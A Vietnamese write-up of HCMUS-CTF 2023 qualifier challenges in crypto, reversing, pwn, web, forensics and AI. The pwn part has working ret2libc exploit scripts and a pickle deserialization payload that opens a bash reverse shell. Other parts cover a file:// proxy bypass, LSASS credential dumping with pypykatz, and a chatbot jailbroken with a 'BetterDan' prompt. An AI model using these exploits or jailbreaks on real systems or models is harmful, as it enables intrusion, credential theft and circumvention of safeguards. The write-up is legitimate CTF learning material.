# HCMUS-CTF 2023 Quals Write-ups by Re:Zero
## I. Crypto
### bootleg aes
Chall cho 3 files `ciphertext.bin`, `enc.sh`, `log.txt`. Dựa vào file `enc.sh` và `log.txt` ta biết được rằng flag đã được pad đằng trước 253 bytes rồi mang đi encypt AES-CBC, key được ghi trong file `log.txt`. Do không có iv chính xác nên mình chỉ có thể decrypt đúng từ block thứ 2 trở đi nhưng điều này không ảnh hưởng tới flag.
- Flag: `HCMUS-CTF{it5_c4ll3d_pr1v4t3_k3y_crypt09raphy_f0r_4_r3450n}`
### CRY1
Chương trình sẽ thực thi hàm handle mỗi khi có một kết nối tới. Khi một kết nối được gửi tới, nó sẽ gen user_id là số giây tính từ 1/1/1970 tới nay bằng hàm `int(time.time()` và lấy giá trị này làm seed để thực thi srand, nên đây là giá trị mà mình sẽ có thể lấy được. Sau đó chương trình gen ra 26 số ngẫu nhiên và thực hiện tính tổng các byte của flag và các giá trị ngẫu nhiên được gen ra từ đầu tới cuối.
Thuật toán cũng khá đơn giản nên mình tổng kết được các ý sau:
- Có 26 biến và format như sau: `x0*randnum[0] + x1*randnum[1] + ... + x25*randnum[25] == sum` (với biến sum được lấy từ server là giá trị mà server gửi cho mình)
- Vậy cần 26 phương trình để giải hệ 26 phương trình 26 ẩn bằng z3
- Vậy ta cần lấy được số giây lúc chương trình chạy ứng với giá trị tổng của phương trình, tức ta phải lấy đúng seed và sum 26 lần
Để lấy giá trị seed và sum (mình sẽ gọi là biến encode), khi vừa kết nối thì ta thực thi `time.time()` để lấy seed và khi server trả về sum thì ta lấy sum. Mình sẽ chạy liên tục để lấy toàn bộ dữ liệu và chạy trong vòng 27 giây để lấy nhiều trường hợp nhất có thể và từ đó lọc ra 27 trường hợp:
```
from pwn import *
import time
import random
import os
from z3 import *
import threading
done = 0
def get_seed_internal():
global done
while not done:
p = process('ncat --ssl cry1.chall.ctf.blackpinker.com 443'.split())
# p = remote('128.199.142.5', 8080)
# p = remote('127.0.0.1', 8080)
t = int(time.time())
p.recvuntil(b'flag: ')
flag_enc = int(p.recvline().strip())
msg = f'{int(t)} {flag_enc}\n'
with open('flagenc', 'a') as f:
f.write(msg)
print(int(t), flag_enc)
p.close()
def get_seed():
global done
if os.path.exists('flagenc'):
os.remove('flagenc')
threading.Thread(target=get_seed_internal, args=()).start()
time.sleep(28)
done = 1
```
Vì giá trị time.time() trên server thay đổi trước nên giá trị sum trả về cũng sẽ thay đổi trước so với khi ta chạy time.time() để lấy giây trên máy mình. Do đó ta có thể lấy dòng dữ liệu ngay trước lúc giá trị encode thay đổi với hàm sau:
```
seed = []
encode = []
def parse_seed_encode():
global seed, encode
with open('flagenc', 'r') as f:
datas = f.read().strip().split('\n')
pres, pree = 0, 0
for i, data in enumerate(datas):
s, e = data.split()
s, e = int(s), int(e)
if pres == 0 and pree == 0:
pres = s
pree = e
elif e != pree:
seed.append(pres)
encode.append(pree)
pres = s
pree = e
```
Với seed và giá trị encode thì ta chỉ việc xài z3 để giải nữa là xong:
```
def gen_key(user_id):
random.seed(user_id)
return [random.randrange(1024) for i in range(26)]
def solve_flag():
parse_seed_encode()
print(len(seed))
print(seed)
print(len(encode))
print(encode)
arr = [Int(f'x{i}') for i in range(26)]
s = Solver()
# Add conditions
for i in range(26):
s.add(arr[i] > 0x20, arr[i] < 0x7f)
for i in range(26):
print(seed[i], encode[i])
data = gen_key(seed[i])
s.add(sum([a * b for a, b in zip(arr, data)]) == encode[i])
# Solve
while s.check() == sat:
for i in range(26):
print(chr(s.model()[arr[i]].as_long()), end='')
print()
s.add(Or(
arr[0] != s.model()[arr[0]],
arr[1] != s.model()[arr[1]],
arr[2] != s.model()[arr[2]],
arr[3] != s.model()[arr[3]],
arr[4] != s.model()[arr[4]],
arr[5] != s.model()[arr[5]],
arr[6] != s.model()[arr[6]],
arr[7] != s.model()[arr[7]],
arr[8] != s.model()[arr[8]],
arr[9] != s.model()[arr[9]],
arr[10] != s.model()[arr[10]],
arr[11] != s.model()[arr[11]],
arr[12] != s.model()[arr[12]],
arr[13] != s.model()[arr[13]],
arr[14] != s.model()[arr[14]],
arr[15] != s.model()[arr[15]],
arr[16] != s.model()[arr[16]],
arr[17] != s.model()[arr[17]],
arr[18] != s.model()[arr[18]],
arr[19] != s.model()[arr[19]],
arr[20] != s.model()[arr[20]],
arr[21] != s.model()[arr[21]],
arr[22] != s.model()[arr[22]],
arr[23] != s.model()[arr[23]],
arr[24] != s.model()[arr[24]],
arr[25] != s.model()[arr[25]],
))
```
Để chạy 1 lần thì:
```
if __name__=='__main__':
get_seed()
solve_flag()
```
Chạy script trên máy thì không được, có thể do kết nối lâu nên seed bị sai, hoặc do server ở Singaport nên giá trị `int(time.time())` của server khác với máy. Ta deploy 1 con vps ở Singaport bằng Digital Ocean thì chạy một phát ra flag luôn.
- Flag: `HCMUS-CTF{the_EASIEST_0ne}`
### falsehood
Phân tích file `prob.py` mình biết được rằng key chính là hệ số của đa thức bậc 15 có dạng:
$$
key[0]x^0 + key[1]x^1 +...+key[15]x^{15}=y
$$
Mình cũng đã có 16 cặp giá trị $x,y$ trong file `ouput.txt` để giải hệ phương trình 16 ẩn:
```
from Crypto.Cipher import AES
out = [[8833677163, 7159466859734884050485160017085648949938620549936739498951806707835448713685207536552299918328868591349533273061478374089984223260577742322460362334647], [1762352339, 226021067407224282748442153993506422184559341973942542463611713009302649608941949660293486972516731321467369225717344439888178648461773300463], [6814325828, 145915445591160853098610646953738314537732696913127480076359637783667652244881400087606152610739138506056218199806589240306741950875956525839170443027], [7865890147, 1255960511416167089973436987379886082394930531153251392262351559661203914293720867397614316726175343133363293139291718249474745356688772183204229822751], [3446680058, 5293859406843167459297872689128502546567761548640003856519557803475599388573073027426285178678302790672452768542207529392596772806973985884693237], [5877771652, 15883583178415793156782570756223737797760371065858523945056072346852806064052610100332389954372845836435762293469821829936427366159434784004504398291], [5589586633, 7472281200056449019563455444999813482028446397663996508394508567670602924631065370355170602075256758870709465268255309886778027432655593535614166637], [1175276268, 518629639886914674796931012497083502361229856009622285824810204881645367508380387007577326543311405957619591605841895258801496781885398507], [3312651249, 2920072124198357353277671402963439479294095254775553378538026906919501392975483266953780010186413153114694525677661955925502702904273824951901573], [1690420045, 120969905638890571692249167310237577968012605711450331530578304692989016303379573026678222839813088165787719888874515256743894818676147474521], [8298141391, 2802013920829536770649820952830225273137583982204944734413323800249577243089166668778583649665043009034143120874987986020037964205143133245123290632883], [733386150, 439287044309927586596972381366960178061704411347096135895831191742005839221734048948610767236121358802659929070752762370822244956535801], [7897145685, 1332938401210287323326359805632057169759318295533885927320250339098837407040892547133970478663396358868892779722453565866390506758764909670000617998161], [9797888335, 33864534898740204255025855638155912349784294672865719351405048784504660475905319925895086755774471151890089727930776090169445401259844048317273142069811], [4557234547, 349364318043137479854576449493426376983315472777226775365310579193760250715517761090058069937282741206013319707277840448237966901906357292702335951], [7667001731, 855344863189641492213600127143839128290386097202448105626863527763958015786114563445357087338205788545215994676722500375202243293047596358065835329663]]
ct = bytes.fromhex('be205fd34ebe59af55ea11fec9aea50197fbf35d5b52c650a6c9563186625e8b6021ba31db538fa4b60c69a42c96ee3bebaba53ac9afa9c3c185d4d0b145bc8251d892c243f1aa4037aeea003714e24c')
iv = bytes.fromhex('370abc6fce33f812de7b88daaa82e4c4')
coff_1 = []
coff_2 = []
for i in range(16):
tmp = []
for j in range(16):
tmp.append(pow(out[i][0], j))
coff_1.append(tmp)
coff_2.append(out[i][1])
A = matrix(coff_1)
B = vector(coff_2)
C = A.solve_right(B)
key = bytes(C)
Cipher = AES.new(key, AES.MODE_CBC, iv)
flag = Cipher.decrypt(ct)
print(flag)
```
- Flag: `HCMUS-CTF{just_because_you're_correct_doesn't_mean_you're_right}`
### M Side
Phân tích file `prob.py` thì đây là hệ mã RSA với $p,q$ sao cho $4p^2+q^2$ là một số nguyên tố. Mình sẽ dùng tool https://www.alpertron.com/SUMCUAD.HTM để tổng hợp lại các bình phương, sau khi bỏ số `hint` vô tool ta đã có được $q \implies$ dễ dàng suy ra $p \implies$ `flag`

- Flag: `HCMUS-CTF{either_thu3_0r_3uclid_wh1ch3v3r_it_t4k35}`
### Sneak Peak
Phân tích file `prob.py` thì flag đã được mã hóa bằng RSA và biết được $MSB_{272}(p)$. Đây là dạng `Recovery from Most Significant Bits of p`, vấn đề ở đây là số bit bị mất đã lớn hơn 1/3 tổng số bit của p nên không thể dùng ma trận 3x3 thông thường để giải mà phải tạo một ma trận cấp lớn hơn. Rất may mình tìm được một implementation có sẵn nên không phải mất công tạo ma trận:
`sol.sage`
```
# https://connor-mccartney.github.io/cryptography/small-roots/corrupt-key-1-picoMini
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes
def small_roots(f, X, beta=1.0, m=None):
N = f.parent().characteristic()
delta = f.degree()
if m is None:
epsilon = RR(beta^2/f.degree() - log(2*X, N))
m = max(beta**2/(delta * epsilon), 7*beta/delta).ceil()
t = int((delta*m*(1/beta - 1)).floor())
f = f.monic().change_ring(ZZ)
P,(x,) = f.parent().objgens()
g = [x**j * N**(m-i) * f**i for i in range(m) for j in range(delta)]
g.extend([x**i * f**m for i in range(t)])
B = Matrix(ZZ, len(g), delta*m + max(delta,t))
for i in range(B.nrows()):
for j in range(g[i].degree()+1):
B[i,j] = g[i][j]*X**j
B = B.LLL()
f = sum([ZZ(B[0,i]//X**i)*x**i for i in range(B.ncols())])
roots = set([f.base_ring()(r) for r,m in f.roots() if abs(r) <= X])
return [root for root in roots if N.gcd(ZZ(f(root))) >= N**beta]
def recover(p_high, n, m):
p_bits = (len(bin(n))-2)//2
p_high_bits = len(bin(p_high)) - 2
PR.<x> = PolynomialRing(Zmod(n))
f = p_high * 2**(p_bits-p_high_bits) + x
x = small_roots(f, X=2**(p_bits-p_high_bits), beta=0.4, m=m)
if x == []:
return None
p = int(f(x[0]))
return p
def solve(bits, m):
for x in tqdm(range(2**bits, -1, -1)):
_p = _p_high + x * 2**(256-bits)
p_high = int(bin(_p)[:256+bits+2], 2)
p = recover(p_high, n, m)
if p is not None:
return p
peek = 6745414226866166172286907691060333580739794735754141517928503510445368134531623057
n = 137695652953436635868173236797773337408441001182675256086214756367750388214098882698624844625677992374523583895607386174643756159168603070583418054134776836804709359451133350283742854338177917816199855370966725059377660312824879861277400624102267119229693994595857701696025366109135127015217981691938713787569
ct = 60939585660386801273264345336943282595466297131309357817378708003135300231065734017829038358019271553508356563122851120615655640023951268162873980957560729424913748657116293860815453225453706274388027182906741605930908510329721874004000783548599414462355143868922204060850666210978837231187722295496753756990
_p_high = peek << 240
p = int(solve(bits=8, m=18))
q = n//p
assert p*q==n
e = 65537
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
flag = pow(ct,d,n)
print(long_to_bytes(int(flag)))
```
- Flag: `HCMUS-CTF{d0nt_b3_4n_3XhiB1ti0ni5t_0r_y0uLL_g3t_eXp0s3d}`
## II. RE
### Go_Mal!
Phân tích từ `No flag for you.` mình đi lên.

Thực hiện kiểm tra độ dài của 2 chuỗi hash nếu bằng nhau sẽ thực hiện so sánh 2 chuỗi hash

Tiếp tục phân tích lên trên thì thấy tạo hash dựa trên hàm `Crypto_hmac_New` key = `Bj7tSK6L4E8tmVebTzH0O0ylb1dTcdpahryyGi2of3q3TLXJxeNYdeUFveFehbOWqrjFQAxV4EF9Rb4c`
và hàm time_time_add làm tham số HMAC `FFFFE914AAF3A000`


Từ thông tin trên mình có script:
```
package main
import (
"crypto/hmac"
"crypto/sha256"
"fmt"
"time"
)
func main() {
key := []byte("Bj7tSK6L4E8tmVebTzH0O0ylb1dTcdpahryyGi2of3q3TLXJxeNYdeUFveFehbOWqrjFQAxV4EF9Rb4c")
now := time.Now()
timestamp := now.Add(-25200000000000).Unix()
seconds := timestamp
// var seconds uint64 = uint64(new_timestamp) - 57769949237
message := make([]byte, 8)
message[0] = byte(seconds)
message[1] = byte(seconds >> 8)
message[2] = byte(seconds >> 16)
message[3] = byte(seconds >> 24)
message[4] = byte(seconds >> 32)
message[5] = byte(seconds >> 40)
message[6] = byte(seconds >> 48)
message[7] = byte(seconds >> 56)
fmt.Printf("%x\n", message)
h := hmac.New(sha256.New, key)
h.Write(message)
fmt.Printf("%x\n", h.Sum(nil))
fmt.Printf("%x\n", seconds)
fmt.Printf("%x\n", seconds - 15)
}
```
```
from pwn import *
import time
p = process('ncat --ssl go-mal.chall.ctf.blackpinker.com 443'.split())
time.sleep(0.5)
q = process('./greeter.exe')
res = q.recvline().strip()
print(res)
p.send(res)
p.interactive()
```
## III. RE + Crypto
### is_this_crypto?
Phân tích thì biết được name và word được hash sha224 và check lại name với word.

Tìm được name với word từ việc check hash
name:`recis`
favorite word:`cannibalization`
Sau khi tìm được name với word thì dùng mã hóa aes_cbc để mã hóa file flag.txt `key = sha256(name)` và `iv = md5(word)`

Script
```
from Cryptodome.Cipher import AES
from hashlib import sha256,md5
key = sha256("recis".encode('utf-8')).hexdigest()
iv = md5("cannibalization".encode('utf-8')).hexdigest()
key = bytes.fromhex(key)
iv = bytes.fromhex(iv)
cipher = AES.new(key, AES.MODE_CBC,iv)
f = open("flag.txt.enc", "rb")
ct = f.read()
pt = cipher.decrypt(ct)
print(pt)
```
Flag: `HCMUS-CTF{r_u_ready_for_fREddy?}`
## IV. Pwn
### Python is safe
Đây là source file main.py:
```python
#!/usr/bin/env python3
from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'HCMUS-CTF' in bytes(buf2):
print(open('./flag.txt', 'r').read())
```
Bài này hình như được lấy từ một giải nào đó trong quá khứ nhưng mình không nhớ. Để giải bài này, ta chỉ việc spam các chuỗi `HCMUS-CTF` cho tới khi nào lấy được flag thì thôi, để chắc ăn thì nhập 1024 byte chuỗi đó là có flag, tức là `"HCMUS-CTF" * 120`.

### Coin mining
Decompile thì ta thấy ngay lỗi BOF:

Kiểm tra lớp bảo vệ thì thấy 4 lớp đều bật, có canary, PIE động, Relro Full, do đó mục tiêu là leak canary, leak địa chỉ libc và tấn công theo kỹ thuật ret2libc:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('coin_mining_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
Host = 'coin-mining-e1445cf47f2cc88d.chall.ctf.blackpinker.com'
if args.REMOTE:
p = process(f'ncat --ssl {Host} 443'.split())
else:
p = process(exe.path)
############################
### Stage 1: Leak canary ###
############################
sla(b'coin? \n', b'1')
sa(b'you: ', b'A'*0x89)
p.recvuntil(b'A'*0x89)
canary = u64(b'\0' + p.recv(7))
info("Canary: " + hex(canary))
##################################
### Stage 2: Leak libc address ###
##################################
sa(b'again: ', b'A'*0x98)
p.recvuntil(b'A'*0x98)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x21b97
info(hex(libc.address))
##########################
### Stage 3: Get shell ###
##########################
payload = b'notHMCUS-CTF{a_coin_must_be_here}\n\0'
payload = payload.ljust(0x88)
payload += flat(
canary,
0,
libc.address + 0x0000000000161c27, next(libc.search(b'/bin/sh')),
libc.address + 0x00000000001540bb, 0,
libc.address + 0x0000000000001b96, 0,
libc.sym['execve']
)
sa(b'again: ', payload)
p.interactive()
```
Trong quá trình lấy shell, nếu xài system và set rdi thôi sẽ bị lỗi, còn nếu cũng xài system và set cả 3 thanh ghi rdi, rsi và rdx thì cũng bị lỗi. Chỉ khi xài execve thì mới lấy được shell.
Flag là `HCMUS-CTF{gA1n_coin_everyday_better_c01n_better_he4th}`
### String chain
Chall này cũng lại lấy từ 1 chall cũ của giải CakeCTF. Cấu trúc của biến String trong C++ như sau:

Nếu chọn nhập c_str thì ta sẽ bắt đầu nhập từ chỗ mũi tên màu vàng và nhập không giới hạn --> **Buffer Overflow**. Nếu ta chọn nhập str thì sẽ nhập vào con trỏ str tại mũi tên màu xanh lá. Biến String trong C++ được thiết lập như sau: Nếu nhập số lượng byte bé hơn 16 byte thì dữ liệu được lưu trên stack, ngược lại dữ liệu sẽ được đưa hết lên heap. Sau khi nhập xong thì chương trình sẽ lưu số lượng byte đã nhập vào vị trí str size (cũng mũi tên màu xanh bên dưới con trỏ str).
Lúc đầu, mình định hướng dùng c_str để thay đổi con trỏ của str thành got và dùng option 3 để ghi vào cái got đó với hàm callme để tạo shell. Chạy local toàn thành công nhưng lên server thì toàn thất bại nên không biết vì sao. Do đó mình đi theo hướng ret2libc luôn: Leak libc --> Leak stack --> Leak canary --> Ghi đè saved rip thành callme.
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('chall_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
exe.sym['callme'] = 0x4016DE
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
Host = 'string-chan-fbd59ce5a2251598.chall.ctf.blackpinker.com'
if args.REMOTE:
p = process(f'ncat --ssl {Host} 443'.split())
else:
p = process(exe.path)
############################
### Stage 1: Leak canary ###
############################
sla(b'choice: ', b'1')
sla(b'str: ', b'A'*0x20 + p64(0x404070) + p64(0x8))
sla(b'choice: ', b'4')
p.recvuntil(b'str: ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['setbuf']
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
###################################
### Stage 2: Leak stack address ###
###################################
sla(b'choice: ', b'1')
sla(b'str: ', b'A'*0x20 + p64(libc.sym['environ']) + p64(0x8))
sla(b'choice: ', b'4')
p.recvuntil(b'str: ')
stack_leak = u64(p.recv(6) + b'\0\0')
info("Stack leak: " + hex(stack_leak))
############################
### Stage 3: Leak canary ###
############################
sla(b'choice: ', b'1')
sla(b'str: ', b'A'*0x20 + p64(stack_leak - 0x140) + p64(0x8))
sla(b'choice: ', b'4')
p.recvuntil(b'str: ')
canary = u64(p.recv(8))
info("Canary: " + hex(canary))
####################################
### Stage 4: Overwrite saved rip ###
####################################
sla(b'choice: ', b'1')
payload = flat(
b'A'*0x20, 0,
0, 0,
0, 0,
canary, 0,
0, 0,
exe.sym['callme'] + 5
)
sla(b'str: ', payload)
sla(b'choice: ', b'0')
p.interactive()
```
Flag là `HCMUS-CTF{it's_ok_i_still_love_you}`
### Pickle Trouble

Chương trình sẽ yêu cầu ta nhập vào len và raw pickle data.
Raw pickle data sẽ được xử lý bởi hàm read_pickle() của thư viện panda. Nếu đọc source của nó ta có thể thấy nó chỉ là pickle.loads cơ bản => lỗi pickle desealize:
Exploit:
```python
#!/usr/bin/python3
import pickle
import secrets
from pwn import *
sa = lambda msg, data: p.sendafter(msg, data)
class PickleRCE(object):
def __reduce__(self):
import os
return (os.system,(command,))
command = "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9090 0>&1'"
Host = 'pickle-trouble-aa915efd41b37431.chall.ctf.blackpinker.com'
if args.REMOTE:
p = process(f'ncat --ssl {Host} 443'.split())
else:
p = remote('0', 8080)
pickle_data = pickle.dumps(PickleRCE())
sa(b'(send as byte string)\n', str(len(pickle_data)).encode())
sa(b'(raw bytes)\n', pickle_data)
p.interactive()
```
Flag là `HCMUS-CTF{S||\/|pL3_p1cKlE_ExpL01t-Huh}`
## V. Web
### Safe Proxy
Ban đầu em thử fuzz nhiều cách như sau nhưng không được

Tưởng file protocol bị disable nên không thử view-source:file://.
Sau khi có hint thử cách này thì lấy được flag:
```
/proxy?url=view-source:file:///
```
Flag: HCMUS-CTF{browser_scheme_is_interesting!}
### Cute Quotes

Location /api/private/ bị block. Nhưng app viết bằng Express -> auto convert path thành lowercase => /api/privAte/flag là sẽ bypass được
Flag: `HCMUS-CTF{when_nginx_meet_express}`
## VI. Mics
### Sanity check
Vô link discord tìm profile của admin là ra flag:

- Flag: `HCMUS-CTF{simple_sanity_check}`
### Japanese
Ta được cung cấp 1 file `huh.txt` với nội dung như sau:
```
時には噛んだりして 痛みを覚えさせて
溢れるエキタイで汚してよ 全部
```
Copy và dán lên gg thì được bài `Ifuudoudou` vì nội dung trong file `huh.txt` là lyrics của bài đó. Ta search tên bài lên google thì tìm được [trang fandom](https://vocaloidlyrics.fandom.com/wiki/%E5%A8%81%E9%A2%A8%E5%A0%82%E3%80%85_(Ifuudoudou)) của bài đó. Ở ngay đầu trang ta thấy được 5 singer của bài gốc:

Mà đề kêu sắp theo first name, do đó mình có flag là `HCMUS-CTF{ifuudoudou-gumi_hatsunemiku_ia_kagaminerin_megurineluka}`
### grind
attach cả 3 file db vào `SQLite browser`
Dùng câu query sau để truy vấn những player tìm được hơn 9 trăm triệu điểm trong ngày 3 và có rank lớn hơn 5000
```sql
SELECT data_64_day3.ranking.rank,data_64_day3.ranking.uid,data_64_day3.ranking.name, data_64_day3.ranking.points - data_64_day2.ranking.points AS point_difference
FROM data_64_day3.ranking
JOIN data_64_day2.ranking ON data_64_day3.ranking.name = data_64_day2.ranking.name
WHERE point_difference > 900000000 and data_64_day2.ranking.rank > 5000;
```
Tuy nhiên số lượng name còn quá lớn, dựa vào dữ kiện name có liên quan đến `a mathematical million-dollar problem` nên mình thêm regex để lấy ra những player có số trong tên
```sql
SELECT data_64_day3.ranking.rank,data_64_day3.ranking.uid,data_64_day3.ranking.name, data_64_day3.ranking.points - data_64_day2.ranking.points AS point_difference
FROM data_64_day3.ranking
JOIN data_64_day2.ranking ON data_64_day3.ranking.name = data_64_day2.ranking.name
WHERE point_difference > 900000000 and data_64_day2.ranking.rank > 5000 and data_64_day3.ranking.name REGEXP '[0-9]';
```
Số lượng kết quả thu được ít hơn rất nhiều, tiếp theo mình thử gg từng tên xem có cái nào liên quan đến `a mathematical million-dollar problem` thì mình phát hiện player này:

Tên người dùng này liên quan đến hàm zeta riemann là một trong `a mathematical million-dollar problem`

Giá trị của `ζ(2)` là `pi^2/6` là khoảng `1.6449340668`
Cuối cùng xem dữ liệu về player `ζ(2)` trong `data_64_final` để lấy dữ liệu chính xác nhất
- Flag: `HCMUS-CTF{23983477-1.6449340668-2391789368-9614}`
## VII. Forensics
### Kiwi
Mình được cung cấp 1 file minidump:

Vì đây không phải file hệ thống nên việc dùng volatility là bất khả thi. Nếu phân tích file với IDA hoặc WinDBG thì cũng không ích gì vì đó là file lsass. Sau khi tìm một hồi trên mạng thì mình tìm được 1 trang CTF cũng có phân tích file minidump: https://05t3.github.io/posts/DCTF/
Nó có giải thích cũng như là có xài tool pypykatz, là công cụ mimikatz của python, để dump pass của 1 tiến trình. Tải về và làm theo thì được flag:

Flag là `HCMUS-CTF{DuMp_cL34r_t3x1_p4sSw0rD_8y_WD1g3sT_4n|)_m1MiK4zt}`
## VIII. AI
### Social Engineering
Sử dụng BetterDan
https://www.jailbreakchat.com/prompt/8db3b7ea-4ff0-481b-90c1-bb12450296a3
Ban đầu bot đưa fake flag, sau đó em đòi bot đưa flag bắt đầu bằng HCMUS-CTF thì được real flag:
```
HCMUS-CTF{L4rge_L&nguag3_M[]del_Pr0mpT_Inj3cTION}
```